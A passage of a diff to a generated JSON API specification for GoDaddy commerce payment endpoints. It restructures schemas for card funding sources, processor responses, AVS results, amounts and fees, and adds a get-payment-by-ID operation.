"Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "Card Processor Response", + "type": "object" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" }, - "properties": { - "processorType": { - "type": "string" - } + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" }, - "required": [ - "processorType" - ] + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment type", + "enum": [ + "AUTHORIZATION", + "SALE", + "REFUND" + ], + "title": "Payment Type", + "type": "string" + }, + "updatedAt": { + "description": "Last updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "amount", + "fundingSource", + "createdAt" + ], + "title": "Payment", + "type": "object", + "x-generic-type": "Payment", + "x-tags": [ + "transaction", + "payments" + ] + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getPaymentById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}", + "summary": "Get Payment", + "description": "Retrieve the information of the Payment by the payment ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + } + ], + "responses": { + "404": { + "description": "Payment Not Found" + }, + "200": { + "description": "Payment Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A monetary transfer of funds from a funding source to the recipient merchant", + "properties": { + "additionalProcessingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true + }, + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Transaction Processing Instruction", + "type": "object" + }, + "adjustments": { + "description": "Adjustments for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "maxLength": 256 + "x-currency-type": true, + "x-custom-type": true } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "type": "array" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "cryptogram": { - "type": "string" - } + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "required": [ - "type", - "number", - "source" - ] + "propertyName": "processorType" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "country": { - "type": "string", - "description": "Country" + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": 